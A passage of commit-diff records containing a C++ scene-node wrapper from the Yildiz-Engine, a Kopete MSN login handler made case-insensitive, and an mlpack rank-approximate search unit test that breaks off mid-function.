=\n\t\t\t\t\tstatic_cast<Ogre::MovableObject*>(itObject.getNext());\n\t\t\ti_pSceneNode->getCreator()->destroyMovableObject(pObject);\n\t\t}\n\t\t\/\/ Recurse to child SceneNodes\n\t\tOgre::SceneNode::ChildNodeIterator itChild =\n\t\t\t\ti_pSceneNode->getChildIterator();\n\t\twhile (itChild.hasMoreElements()) {\n\t\t\tOgre::SceneNode* pChildNode =\n\t\t\t\t\tstatic_cast<Ogre::SceneNode*>(itChild.getNext());\n\t\t\tdestroyAllAttachedMovableObjects(pChildNode);\n\t\t}\n\t}\n};\n}\n\n#endif\n<commit_msg>Update Node.hpp<commit_after>\/*\n * This file is part of the Yildiz-Engine project, licenced under the MIT License  (MIT)\n *\n * Copyright (c) 2019 Grégory Van den Borre\n *\n * More infos available: https:\/\/engine.yildiz-games.be\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n * documentation files (the \"Software\"), to deal in the Software without restriction, including without\n * limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies\n * of the Software, and to permit persons to whom the Software is furnished to do so,\n * subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all copies or substantial\n * portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n * WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS\n * OR COPYRIGHT  HOLDERS BE LIABLE FOR ANY CLAIM,\n * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE  SOFTWARE.\n *\/\n\n#ifndef YZ_NODE_H\n#define YZ_NODE_H\n\n#include \"stdafx.h\"\n#include <Ogre.h>\n#include <OgreSceneNode.h>\n#include <OgreMovableObject.h>\n#include \"AbstractNodeListener.hpp\"\n#include \"NodeListeners.hpp\"\n#include \"AbstractMovable.hpp\"\n#include \"NativeMovable.hpp\"\n#include <OgreSceneManager.h>\n#include \"Id.hpp\"\n\nnamespace yz {\n\n\/**\n * Simple wrapper for an Ogre::Scenenode, this class provide uniform use for setting direction, yaw,...\n * @author Grégory Van den Borre\n *\/\nclass Node : public NativeMovableComponent {\n\npublic:\n\n\t\/**\n\t * Full constructor.\n\t * @param wrappedNode\n\t *           Node used as wrapped object.\n\t *\/\n\tNode(Ogre::SceneNode* wrappedNode) {\n\t    LOG_FUNCTION\n\t\tthis->node = wrappedNode;\n\t\tthis->listenerList = new yz::NodeListeners();\n\t\tthis->node->setListener(this->listenerList);\n\t\tthis->movable = new yz::NativeMovable();\n\t}\n\n\tNode(Ogre::SceneNode* wrappedNode, yz::Id* id) {\n\t    LOG_FUNCTION\n\t\tthis->node = wrappedNode;\n\t\tthis->listenerList = new yz::NodeListeners();\n\t\tthis->node->setListener(this->listenerList);\n\t\tthis->node->getUserObjectBindings().setUserAny(Ogre::Any(id));\n\t\tthis->movable = new yz::NativeMovable();\n\t}\n\n\t~Node(void) {\n\t    LOG_FUNCTION\n\t\tthis->destroy();\n        this->node = NULL;\n\t}\n\n\tinline void attachToNode(yz::Node* other) {\n\t    LOG_FUNCTION\n\t\tOgre::SceneNode* parent = this->node->getParentSceneNode();\n\t\tparent->removeChild(this->node);\n\t\tother->addChild(this);\n\t}\n\n\tinline void addChild(yz::Node* child) {\n\t    LOG_FUNCTION\n\t\tthis->node->addChild(child->getWrappedNode());\n\t}\n\n\t\/**\n\t * @return The wrapped Ogre::SceneNode\n\t *\/\n\tinline Ogre::SceneNode* getWrappedNode() {\n\t    LOG_FUNCTION\n\t\treturn this->node;\n\t}\n\n\tinline void needUpdate() {\n\t    LOG_FUNCTION\n\t\tthis->node->needUpdate();\n\t}\n\n\t\/**\n\t * Display every objects attached on this node.\n\t *\/\n\tinline void show() {\n\t    LOG_FUNCTION\n\t\tthis->node->setVisible(true);\n\t}\n\n\t\/**\n\t * Hide every objects attached on this node.\n\t *\/\n\tinline void hide(void) {\n\t    LOG_FUNCTION\n\t\tthis->node->setVisible(false);\n\t}\n\n\tvoid attachObject(yz::AbstractMovable* movable) {\n\t    LOG_FUNCTION\n\t\tthis->node->attachObject(movable->getMovableObject());\n\t}\n\n\tinline void addListener(yz::AbstractNodeListener* l) {\n\t    LOG_FUNCTION\n\t\tthis->listenerList->addListener(l);\n\t}\n\n\t\/**\n\t * Rotate only on Y axis to face a point.\n\t *\/\n\tinline void rotateTo(const Ogre::Real x, const Ogre::Real y, const Ogre::Real z) {\n\t    LOG_FUNCTION\n\t\tOgre::Vector3 yAxis = this->node->getOrientation().yAxis();\n\t\tOgre::Quaternion rotation = yAxis.getRotationTo(yAxis, Ogre::Vector3::UNIT_Y);\n\t\tthis->node->pitch(rotation.getPitch());\n\t\tthis->node->roll(rotation.getRoll());\n\t}\n\n\t\/**\n\t * Create a child for this node.\n\t * @return A new yz::Node child of this one.\n\t *\/\n\tinline yz::Node* createChildNode() {\n\t    LOG_FUNCTION\n\t\tyz::Node* child = new yz::Node(this->node->createChildSceneNode());\n        \/\/this->childrenList.push_back(child);\n\t\treturn child;\n\t}\n\n\t\/**\n\t * Get the wrapped node name.\n\t * @return The name.\n\t *\/\n\tinline std::string getName() const{\n\t    LOG_FUNCTION\n\t\treturn this->node->getName();\n\t}\n\n\tinline void destroy() {\n\t    LOG_FUNCTION\n\t\tfor (unsigned int i = 0; i < this->manualList.size(); ++i) {\n\t\t\tOgre::MovableObject* o = this->manualList.at(i);\n\t\t\tthis->node->detachObject(o);\n\t\t\tdelete o;\n\t\t}\n\t\tthis->destroyAllAttachedMovableObjects(this->node);\n\t\tthis->node->removeAndDestroyAllChildren();\n\t\tthis->node->getCreator()->destroySceneNode(this->node);\n\t}\n\n\t\/**\n\t * Scale all objects attached to the node.\n\t * @param value\n\t *           Scale value.\n\t *\/\n\tinline void scale(const Ogre::Real value) {\n\t    LOG_FUNCTION\n\t\tthis->scale(value, value, value);\n\t}\n\n\t\/**\n\t * Scale all objects attached to the node.\n\t * @param scaleX\n\t *           X scale value.\n\t * @param scaleY\n\t *           y scale value.\n\t * @param scaleZ\n\t *           Z scale value.\n\t *\/\n\tinline void scale(const Ogre::Real scaleX, const Ogre::Real scaleY,\n\t\t\tconst Ogre::Real scaleZ) {\n\t    LOG_FUNCTION\n\t\tthis->node->scale(scaleX, scaleY, scaleZ);\n\t}\n\n\tinline void rotate(const Ogre::Real w, const Ogre::Real x, const Ogre::Real y,\n\t\t\tconst Ogre::Real z) {\n\t    LOG_FUNCTION\n\t\tthis->node->rotate(Ogre::Quaternion(w, x, y, z));\n\t}\n\n\t\/**\n\t * Rotate the node.\n\t * @param x\n\t *           X axis rotation angle, in radians.\n\t * @param y\n\t *           Y axis rotation angle, in radians.\n\t *\/\n\tinline Ogre::Vector3 rotate(const Ogre::Real x, const Ogre::Real y) {\n\t    LOG_FUNCTION\n\t\tthis->node->yaw(Ogre::Radian(x), Ogre::Node::TS_WORLD);\n\t\tthis->node->pitch(Ogre::Radian(y), Ogre::Node::TS_WORLD);\n\t\tOgre::Quaternion rotation = node->getOrientation();\n\t\treturn rotation.zAxis();\n\t}\n\n\tinline Ogre::Quaternion getOrientation() {\n\t    LOG_FUNCTION\n\t\treturn this->node->getOrientation();\n\t}\n\n\t\/**\n\t * Set the node position.\n\t * @param x\n\t *           New X position.\n\t * @param y\n\t *           New y position.\n\t * @param z\n\t *           New Z position.\n\t *\/\n\t\/*virtual*\/ inline void setPosition(const Ogre::Real x, const Ogre::Real y, const Ogre::Real z) {\n\t    LOG_FUNCTION\n\t\tthis->node->setPosition(x, y, z);\n\t\tthis->movable->setPosition(x, y, z);\n    }\n\n\t\/**\n\t * Set the direction using Ogre::Node::TS_WORLD and Ogre::Vector3::NEGATIVE_UNIT_Z.\n\t * @param x\n\t *           New X direction.\n\t * @param y\n\t *           New y direction.\n\t * @param z\n\t *           New Z direction.\n\t *\/\n    \/*virtual*\/ inline void setDirection(const Ogre::Real x, const Ogre::Real y, const Ogre::Real z) {\n        LOG_FUNCTION\n        this->node->setDirection(x, y, z, Ogre::Node::TS_WORLD, Ogre::Vector3::NEGATIVE_UNIT_Z);\n    }\n\n\t\/*virtual*\/ inline void setOrientation(const Ogre::Real w, const Ogre::Real x, const Ogre::Real y, const Ogre::Real z) {\n        LOG_FUNCTION\n        this->node->setOrientation(w, x, y, z);\n    }\n\n    inline void translate(const Ogre::Real x, const Ogre::Real y, const Ogre::Real z) {\n        LOG_FUNCTION\n        node->translate(x, y, z, Ogre::Node::TS_WORLD);\n    }\n\n\tinline Ogre::Vector3 getPosition() const {\n\t    LOG_FUNCTION\n\t\treturn this->node->getPosition();\n\t}\n\n\tinline Ogre::Vector3 getDirection() const {\n\t    LOG_FUNCTION\n\t\treturn this->node->getOrientation() * Ogre::Vector3::NEGATIVE_UNIT_Z;\n\t}\n\n    inline Ogre::Vector3 getWorldDirection() const {\n        LOG_FUNCTION\n        return this->node->_getDerivedOrientation() * Ogre::Vector3::NEGATIVE_UNIT_Z;\n    }\n\n    inline void showBoundingBox(const bool visible) {\n        LOG_FUNCTION\n        this->node->showBoundingBox(visible);\n    }\n    \n    inline void detachFromParentNode() {\n        LOG_FUNCTION\n        Ogre::SceneNode* parent = this->node->getParentSceneNode();\n        parent->removeChild(this->node);\n        this->node->getCreator()->getRootSceneNode()->addChild(this->node);\n    }\n\n    inline void detachFromParent() {\n        LOG_FUNCTION\n        Ogre::SceneNode* parent = this->node->getParentSceneNode();\n        parent->removeChild(this->node);\n        this->node->getCreator()->getRootSceneNode()->addChild(this->node);\n    }\n\n    inline void addManualMovable(Ogre::MovableObject* manual) {\n\t    LOG_FUNCTION\n\t\tthis->manualList.push_back(manual);\n\t}\n\n\tinline virtual void addMovableComponent(NativeMovableComponent* c) {\n\t    this->movable->addComponent(c);\n\t}\n\n    inline virtual void removeMovableComponent(NativeMovableComponent* c) {\n        this->movable->removeComponent(c);\n    }\n\nprivate:\n\n    \/**\n    * Wrapped Ogre::Node.\n    *\/\n\tOgre::SceneNode* node;\n\n\tyz::NodeListeners* listenerList;\n\n\tyz::NativeMovable* movable;\n\n\t\/**\n\t * List containing object manually created(not using scene manager), they must be detached and manually deleted.\n\t *\/\n\tstd::vector<Ogre::MovableObject*> manualList;\n\n\tvoid destroyAllAttachedMovableObjects(Ogre::SceneNode* i_pSceneNode) {\n\n\t\t\/\/ Destroy all the attached objects\n\t\tOgre::SceneNode::ObjectIterator itObject =\n\t\t\t\ti_pSceneNode->getAttachedObjectIterator();\n\t\twhile (itObject.hasMoreElements()) {\n\t\t\tOgre::MovableObject* pObject =\n\t\t\t\t\tstatic_cast<Ogre::MovableObject*>(itObject.getNext());\n\t\t\ti_pSceneNode->getCreator()->destroyMovableObject(pObject);\n\t\t}\n\t\t\/\/ Recurse to child SceneNodes\n\t\tOgre::SceneNode::ChildNodeIterator itChild =\n\t\t\t\ti_pSceneNode->getChildIterator();\n\t\twhile (itChild.hasMoreElements()) {\n\t\t\tOgre::SceneNode* pChildNode =\n\t\t\t\t\tstatic_cast<Ogre::SceneNode*>(itChild.getNext());\n\t\t\tdestroyAllAttachedMovableObjects(pChildNode);\n\t\t}\n\t}\n};\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    msnsecureloginhandler.cpp - SSL login for MSN protocol\n\n    Copyright (c) 2005      by Michaël Larouche       <larouche@kde.org>\n\n    Kopete    (c) 2002-2005 by the Kopete developers  <kopete-devel@kde.org>\n\n    *************************************************************************\n    *                                                                       *\n    * This program is free software; you can redistribute it and\/or modify  *\n    * it under the terms of the GNU General Public License as published by  *\n    * the Free Software Foundation; either version 2 of the License, or     *\n    * (at your option) any later version.                                   *\n    *                                                                       *\n    *************************************************************************\n*\/\n#include \"msnsecureloginhandler.h\"\n\n\/\/ Qt includes\n#include <qregexp.h>\n\n\/\/ KDE includes\n#include <kio\/job.h>\n#include <kurl.h>\n#include <kdebug.h>\n\nMSNSecureLoginHandler::MSNSecureLoginHandler(const QString &accountId, const QString &password, const QString &authParameters)\n  : m_password(password), m_accountId(accountId), m_authentification(authParameters)\n{\n\t\n}\n\nMSNSecureLoginHandler::~MSNSecureLoginHandler()\n{\n\/\/\tkDebug(14140) ;\n}\n\nvoid MSNSecureLoginHandler::login()\n{\n\t\/\/ Retrive the login server.\n\t\/\/ Do a reload and don't show the progress.\n\tKIO::Job *getLoginServer = KIO::get(KUrl(\"https:\/\/nexus.passport.com\/rdr\/pprdr.asp\"), KIO::Reload, KIO::HideProgressInfo);\n\n\tgetLoginServer->addMetaData(\"cookies\", \"manual\");\n\tgetLoginServer->addMetaData(\"cache\", \"reload\");\n\tgetLoginServer->addMetaData(\"PropagateHttpHeader\", \"true\");\n\n\tconnect(getLoginServer, SIGNAL(result(KJob *)), this, SLOT(slotLoginServerReceived(KJob* )));\n}\n\nvoid MSNSecureLoginHandler::slotLoginServerReceived(KJob *job)\n{\n\tKIO::Job *loginJob = static_cast<KIO::Job*>(job);\n\tif(!loginJob->error())\n\t{\n\t\t\/\/ Retrive the HTTP header\n\t\tQString httpHeaders = loginJob->queryMetaData(\"HTTP-Headers\");\n\n\t\t\/\/ Get the login URL using QRegExp\n\t\tQRegExp rx(\"PassportURLs: DARealm=(.*),DALogin=(.*),DAReg=\");\n\t\trx.indexIn(httpHeaders);\n\n\t\t\/\/ Set the loginUrl and loginServer\n\t\tQString loginUrl = rx.cap(2);\n\t\tQString loginServer = loginUrl.section('\/', 0, 0);\n\n\t\tkDebug(14140) << loginServer;\n\n\t\tQString authURL = \"https:\/\/\" + loginUrl;\n\n\t\tKIO::Job *authJob = KIO::get(KUrl(authURL), KIO::Reload, KIO::HideProgressInfo);\n\t\tauthJob->addMetaData(\"cookies\", \"manual\");\n\n\t\tQString authRequest = \"Authorization: Passport1.4 \"\n\t\t\t\t\t\t\t\t\"OrgVerb=GET,\"\n\t\t\t\t\t\t\t\t\"OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,\"\n\t\t\t\t\t\t\t\t\"sign-in=\" + QUrl::toPercentEncoding(m_accountId) +\n\t\t\t\t\t\t\t\t\",pwd=\" + QUrl::toPercentEncoding( m_password ).replace(',',\"%2C\") +\n\t\t\t\t\t\t\t\t',' + m_authentification + \"\\r\\n\";\n\n\/\/   warning, this debug contains the password\n\/\/\t\tkDebug(14140) << \"Auth request: \" << authRequest;\n\n\t\tauthJob->addMetaData(\"customHTTPHeader\", authRequest);\n\t\tauthJob->addMetaData(\"SendLanguageSettings\", \"false\");\n\t\tauthJob->addMetaData(\"PropagateHttpHeader\", \"true\");\n\t\tauthJob->addMetaData(\"cookies\", \"manual\");\n\t\tauthJob->addMetaData(\"cache\", \"reload\");\n\t\t\n\t\tconnect(authJob, SIGNAL(result(KJob *)), this, SLOT(slotTweenerReceived(KJob* )));\n\t}\n\telse\n\t{\n\t\tkDebug(14140) << loginJob->errorString();\n\n\t\temit loginFailed();\n\t}\t\n}\n\nvoid MSNSecureLoginHandler::slotTweenerReceived(KJob *job)\n{\n\tKIO::Job *authJob = static_cast<KIO::Job*>(job);\n\tif(!authJob->error())\n\t{\n\t\tQString httpHeaders = authJob->queryMetaData(\"HTTP-Headers\");\n\n\/\/ \t\tkDebug(14140) << \"HTTP headers: \" << httpHeaders;\n\n\t\t\/\/ Check if we get \"401 Unauthorized\", thats means it's a bad password.\n\t\tif(httpHeaders.contains(QString::fromUtf8(\"401 Unauthorized\")))\n\t\t{\n\/\/ \t\t\tkDebug(14140) << \"MSN Login Bad password.\";\n\t\t\temit loginBadPassword();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tQRegExp rx(\"from-PP='(.*)'\");\n\t\t\trx.indexIn(httpHeaders);\n\t\t\tQString ticket = rx.cap(1);\n\t\t\n\t\/\/\t\tkDebug(14140) << \"Received ticket: \" << ticket;\n\t\n\t\t\temit loginSuccesful(ticket);\n\t\t}\n\t}\n\telse\n\t{\n\t\tkDebug(14140) << authJob->errorString();\n\n\t\temit loginFailed();\n\t}\n}\n#include \"msnsecureloginhandler.moc\"\n<commit_msg>Fix connecting to MSN after recent changes in KIO. Patch by Jose Carlos Norte. CCMAIL:jose@eyeos.org<commit_after>\/*\n    msnsecureloginhandler.cpp - SSL login for MSN protocol\n\n    Copyright (c) 2005      by Michaël Larouche       <larouche@kde.org>\n\n    Kopete    (c) 2002-2005 by the Kopete developers  <kopete-devel@kde.org>\n\n    *************************************************************************\n    *                                                                       *\n    * This program is free software; you can redistribute it and\/or modify  *\n    * it under the terms of the GNU General Public License as published by  *\n    * the Free Software Foundation; either version 2 of the License, or     *\n    * (at your option) any later version.                                   *\n    *                                                                       *\n    *************************************************************************\n*\/\n#include \"msnsecureloginhandler.h\"\n\n\/\/ Qt includes\n#include <qregexp.h>\n\n\/\/ KDE includes\n#include <kio\/job.h>\n#include <kurl.h>\n#include <kdebug.h>\n\nMSNSecureLoginHandler::MSNSecureLoginHandler(const QString &accountId, const QString &password, const QString &authParameters)\n  : m_password(password), m_accountId(accountId), m_authentification(authParameters)\n{\n\t\n}\n\nMSNSecureLoginHandler::~MSNSecureLoginHandler()\n{\n\/\/\tkDebug(14140) ;\n}\n\nvoid MSNSecureLoginHandler::login()\n{\n\t\/\/ Retrive the login server.\n\t\/\/ Do a reload and don't show the progress.\n\tKIO::Job *getLoginServer = KIO::get(KUrl(\"https:\/\/nexus.passport.com\/rdr\/pprdr.asp\"), KIO::Reload, KIO::HideProgressInfo);\n\n\tgetLoginServer->addMetaData(\"cookies\", \"manual\");\n\tgetLoginServer->addMetaData(\"cache\", \"reload\");\n\tgetLoginServer->addMetaData(\"PropagateHttpHeader\", \"true\");\n\n\tconnect(getLoginServer, SIGNAL(result(KJob *)), this, SLOT(slotLoginServerReceived(KJob* )));\n}\n\nvoid MSNSecureLoginHandler::slotLoginServerReceived(KJob *job)\n{\n\tKIO::Job *loginJob = static_cast<KIO::Job*>(job);\n\tif(!loginJob->error())\n\t{\n\t\t\/\/ Retrive the HTTP header\n\t\tQString httpHeaders = loginJob->queryMetaData(\"HTTP-Headers\");\n\n\t\t\/\/ Get the login URL using QRegExp\n\t\tQRegExp rx(\"PassportURLs: DARealm=(.*),DALogin=(.*),DAReg=\");\n\t\trx.setCaseSensitivity(Qt::CaseInsensitive);\n\t\trx.indexIn(httpHeaders);\n\n\t\t\/\/ Set the loginUrl and loginServer\n\t\tQString loginUrl = rx.cap(2);\n\t\tQString loginServer = loginUrl.section('\/', 0, 0);\n\n\t\tkDebug(14140) << loginServer;\n\n\t\tQString authURL = \"https:\/\/\" + loginUrl;\n\n\t\tKIO::Job *authJob = KIO::get(KUrl(authURL), KIO::Reload, KIO::HideProgressInfo);\n\t\tauthJob->addMetaData(\"cookies\", \"manual\");\n\n\t\tQString authRequest = \"Authorization: Passport1.4 \"\n\t\t\t\t\t\t\t\t\"OrgVerb=GET,\"\n\t\t\t\t\t\t\t\t\"OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,\"\n\t\t\t\t\t\t\t\t\"sign-in=\" + QUrl::toPercentEncoding(m_accountId) +\n\t\t\t\t\t\t\t\t\",pwd=\" + QUrl::toPercentEncoding( m_password ).replace(',',\"%2C\") +\n\t\t\t\t\t\t\t\t',' + m_authentification + \"\\r\\n\";\n\n\/\/   warning, this debug contains the password\n\/\/\t\tkDebug(14140) << \"Auth request: \" << authRequest;\n\n\t\tauthJob->addMetaData(\"customHTTPHeader\", authRequest);\n\t\tauthJob->addMetaData(\"SendLanguageSettings\", \"false\");\n\t\tauthJob->addMetaData(\"PropagateHttpHeader\", \"true\");\n\t\tauthJob->addMetaData(\"cookies\", \"manual\");\n\t\tauthJob->addMetaData(\"cache\", \"reload\");\n\t\t\n\t\tconnect(authJob, SIGNAL(result(KJob *)), this, SLOT(slotTweenerReceived(KJob* )));\n\t}\n\telse\n\t{\n\t\tkDebug(14140) << loginJob->errorString();\n\n\t\temit loginFailed();\n\t}\t\n}\n\nvoid MSNSecureLoginHandler::slotTweenerReceived(KJob *job)\n{\n\tKIO::Job *authJob = static_cast<KIO::Job*>(job);\n\tif(!authJob->error())\n\t{\n\t\tQString httpHeaders = authJob->queryMetaData(\"HTTP-Headers\");\n\n\/\/ \t\tkDebug(14140) << \"HTTP headers: \" << httpHeaders;\n\n\t\t\/\/ Check if we get \"401 Unauthorized\", thats means it's a bad password.\n\t\tif(httpHeaders.contains(QString::fromUtf8(\"401 Unauthorized\")))\n\t\t{\n\/\/ \t\t\tkDebug(14140) << \"MSN Login Bad password.\";\n\t\t\temit loginBadPassword();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tQRegExp rx(\"from-PP='(.*)'\");\n\t\t\trx.indexIn(httpHeaders);\n\t\t\tQString ticket = rx.cap(1);\n\t\t\n\t\/\/\t\tkDebug(14140) << \"Received ticket: \" << ticket;\n\t\n\t\t\temit loginSuccesful(ticket);\n\t\t}\n\t}\n\telse\n\t{\n\t\tkDebug(14140) << authJob->errorString();\n\n\t\temit loginFailed();\n\t}\n}\n#include \"msnsecureloginhandler.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file allkrann_search_test.cpp\n *\n * Unit tests for the 'RASearch' class and consequently the \n * 'RASearchRules' class\n *\/\n#include <time.h>\n#include <mlpack\/core.hpp>\n#include <mlpack\/core\/metrics\/lmetric.hpp>\n\n\/\/ So that we can test private members.  This is hackish (for now).\n#define private public\n#include <mlpack\/methods\/rann\/ra_search.hpp>\n#undef private\n\n#include <boost\/test\/unit_test.hpp>\n#include \"old_boost_test_definitions.hpp\"\n\nusing namespace std;\nusing namespace mlpack;\nusing namespace mlpack::neighbor;\n\n\nBOOST_AUTO_TEST_SUITE(AllkRANNTest);\n\nBOOST_AUTO_TEST_CASE(AllkRANNNaiveSearch)\n{\n  \/\/ first testing on a small set.\n\n  arma::mat rdata(2, 10);\n  rdata << 3 << 2 << 4 << 3 << 5 << 6 << 0 << 8 << 3 << 1 << arma::endr << \n    0 << 3 << 4 << 7 << 8 << 4 << 1 << 0 << 4 << 3 << arma::endr;\n\n  arma::mat qdata(2, 3);\n  qdata << 3 << 2 << 0 << arma::endr << 5 << 3 << 4 << arma::endr;\n\n\n  metric::SquaredEuclideanDistance dMetric;\n  double rankApproximation = 30;\n  double successProb = 0.95;\n\n  \/\/ Search for 1 rank-approximate nearest-neighbors in the top 30% \n  \/\/ of the point (rank error of 3)\n  arma::Mat<size_t> neighbors;\n  arma::mat distances;\n\n\n  \/\/ Test naive rank-approximate search\n\n  \/\/ Predict what the actual RANN-RS result would be\n  math::RandomSeed(0);\n\n  size_t numSamples = (size_t) ceil( log (1.0 \/ (1.0 - successProb)) \n   \/ log (1.0 \/ (1.0 - (rankApproximation \/ 100.0) ) ) );\n\n  arma::Mat<size_t> samples(qdata.n_cols, numSamples);\n  for (size_t j = 0; j < qdata.n_cols; j++)\n    for (size_t i = 0; i < numSamples; i++)\n      samples(j, i) = (size_t) math::RandInt(10);\n\n  arma::Col<size_t> rann(qdata.n_cols);\n  arma::vec rann_distance(qdata.n_cols);\n  rann_distance.fill(DBL_MAX);\n\n  for (size_t j = 0; j < qdata.n_cols; j++)\n  {\n    for (size_t i = 0; i < numSamples; i++)\n    {\n      double dist = dMetric.Evaluate(qdata.unsafe_col(j), \n                                     rdata.unsafe_col(samples(j, i)));\n      if (dist < rann_distance[j])\n      {\n        rann[j] = samples(j, i);\n        rann_distance[j] = dist;\n      }\n    }\n  }\n\n  \/\/ use RANN-RS implementation\n  math::RandomSeed(0);\n\n  arma::mat naive_rdata = rdata;\n  arma::mat naive_qdata = qdata;\n\n  RASearch<> *naive = new RASearch<>(naive_rdata, naive_qdata, true);\n  naive->Search(1, neighbors, distances, rankApproximation);\n\n  delete naive;\n  naive_rdata.reset();\n  naive_qdata.reset();\n\n  \/\/ Things to check:\n  \/\/ \n  \/\/ 1. (implicitly) The minimum number of required samples for \n  \/\/    guaranteed approximation\n  \/\/ 2. (implicitly) Check the samples obtained.\n  \/\/ 3. Check the neighbor returned.\n\n  for (size_t i = 0; i < qdata.n_cols; i++)\n  {\n    BOOST_REQUIRE(neighbors(0, i) == rann[i]);\n    BOOST_REQUIRE_CLOSE(distances(0, i), rann_distance[i], 1e-5);\n  }\n\n  Log::Warn << \"RANN-RS (no tree) works as expected on small set.\" << endl;\n\n  neighbors.reset();\n  distances.reset();\n\n  \/\/ now test the correctness & guarantees of this algorithm\n  math::RandomSeed(time(NULL));\n    \n  arma::mat refData;\n  arma::mat queryData;\n\n  data::Load(\".\/data\/rann_test_r_3_900.csv\", refData, true);\n  data::Load(\".\/data\/rann_test_q_3_100.csv\", queryData, true);\n\n  RASearch<> *rann_rs = new RASearch<>(refData, queryData, true);\n\n  arma::mat qrRanks;\n  data::Load(\".\/data\/rann_test_qr_ranks.csv\", qrRanks, true);\n  qrRanks = qrRanks.t();\n\n  size_t numRounds = 1000;\n  arma::Col<size_t> numSuccessRounds(queryData.n_cols);\n  numSuccessRounds.fill(0);\n\n  \/\/ 1% of 900 is 9, so the rank is expected to be less than 10\n  size_t expectedRankErrorUB = 10;\n\n  for (size_t rounds = 0; rounds < numRounds; rounds++)\n  {\n    rann_rs->Search(1, neighbors, distances, 1.0);\n\n    for (size_t i = 0; i < queryData.n_cols; i++)\n      if (qrRanks(i, neighbors(0, i)) < expectedRankErrorUB)\n        numSuccessRounds[i]++;\n\n    neighbors.reset();\n    distances.reset();\n  }\n\n  delete rann_rs;\n\n  \/\/ Finding the 95%-tile threshold so that 95% of the queries should \n  \/\/ pass this threshold\n  size_t threshold = floor(numRounds * (0.95 - (1.96 * sqrt(0.95 * 0.05 \n                                                            \/ numRounds))));\n  size_t numQueriesFail = 0;\n  for (size_t i = 0; i < queryData.n_cols; i++)\n    if (numSuccessRounds[i] < threshold)\n      numQueriesFail++;\n  \n  Log::Warn << \"RANN-RS: RANN guarantee fails on \" << numQueriesFail << \n    \" queries.\" << endl;\n\n  \/\/ assert that at most 5% of the queries fall out of this threshold\n  \/\/ 5% of 100 queries is 5.\n  size_t maxNumQueriesFail = 6;\n\n  BOOST_REQUIRE(numQueriesFail < maxNumQueriesFail);\n  Log::Warn << \"RANN-RS (no tree) guarantees desired rank-approximation.\" <<\n    endl;\n}\n\n\nBOOST_AUTO_TEST_CASE(AllkRANNSingleTreeSearch)\n{\n  \/\/ Test single-tree rank-approximate search (harder to test because of \n  \/\/ the randomness involved)\n\n  \/\/ Checking the correctness & guarantees of the algorithm\n  math::RandomSeed(time(NULL));\n\n  arma::mat refData;\n  arma::mat queryData;\n\n  data::Load(\".\/data\/rann_test_r_3_900.csv\", refData, true);\n  data::Load(\".\/data\/rann_test_q_3_100.csv\", queryData, true);\n\n  \/\/ Search for 1 rank-approximate nearest-neighbors in the top 30% \n  \/\/ of the point (rank error of 3)\n  arma::Mat<size_t> neighbors;\n  arma::mat distances;\n\n\n  RASearch<> *rann_tss = new RASearch<>(refData, queryData, false, true, 5);\n\n  \/\/ The relative ranks for the given query reference pair\n  arma::Mat<size_t> qrRanks;\n  data::Load(\".\/data\/rann_test_qr_ranks.csv\", qrRanks, true);\n  qrRanks = qrRanks.t();\n\n  size_t numRounds = 1000;\n  arma::Col<size_t> numSuccessRounds(queryData.n_cols);\n  numSuccessRounds.fill(0);\n\n  \/\/ 1% of 900 is 9, so the rank is expected to be less than 10\n  size_t expectedRankErrorUB = 10;\n\n  for (size_t rounds = 0; rounds < numRounds; rounds++)\n  {\n    rann_tss->Search(1, neighbors, distances, 1.0, 0.95, false, false, 5);\n\n    for (size_t i = 0; i < queryData.n_cols; i++)\n      if (qrRanks(i, neighbors(0, i)) < expectedRankErrorUB)\n        numSuccessRounds[i]++;\n\n    neighbors.reset();\n    distances.reset();\n  }\n\n  delete rann_tss;\n\n  \/\/ Finding the 95%-tile threshold so that 95% of the queries should \n  \/\/ pass this threshold\n  size_t threshold = floor(numRounds * (0.95 - (1.96 * sqrt(0.95 * 0.05 \n                                                            \/ numRounds))));\n  size_t numQueriesFail = 0;\n  for (size_t i = 0; i < queryData.n_cols; i++)\n    if (numSuccessRounds[i] < threshold)\n      numQueriesFail++;\n\n  Log::Warn << \"RANN-TSS: RANN guarantee fails on \" << numQueriesFail << \n    \" queries.\" << endl;\n\n  \/\/ assert that at most 5% of the queries fall out of this threshold\n  \/\/ 5% of 100 queries is 5.\n  size_t maxNumQueriesFail = 6;\n\n  BOOST_REQUIRE(numQueriesFail < maxNumQueriesFail);\n  Log::Warn << \"RANN-TSS (single tree) guarantees desired \" << \n    \"rank-approximation.\" << endl;\n}\n\nBOOST_AUTO_TEST_CASE(AllkRANNDualTreeSearch)\n{\n  \/\/ Test dual-tree rank-approximate search (harder to test because of \n  \/\/ the randomness involved)\n  \/\/ Test dual-tree rank-approximate search\n\n  \/\/ Checking the correctness & guarantees of the algorithm\n  math::RandomSeed(time(NULL));\n\n  arma::mat refData;\n  arma::mat queryData;\n\n  data::Load(\".\/data\/rann_test_r_3_900.csv\", refData, true);\n  data::Load(\".\/data\/rann_test_q_3_100.csv\", queryData, true);\n\n  \/\/ Search for 1 rank-approximate nearest-neighbors in the top 30% \n  \/\/ of the point (rank error of 3)\n  arma::Mat<size_t> neighbors;\n  arma::mat distances;\n\n  RASearch<> *rann_tsd = new RASearch<>(refData, queryData, false, false, 5);\n\n  arma::Mat<size_t> qrRanks;\n  data::Load(\".\/data\/rann_test_qr_ranks.csv\", qrRanks, true);\n  qrRanks = qrRanks.t();\n\n  size_t numRounds = 1000;\n  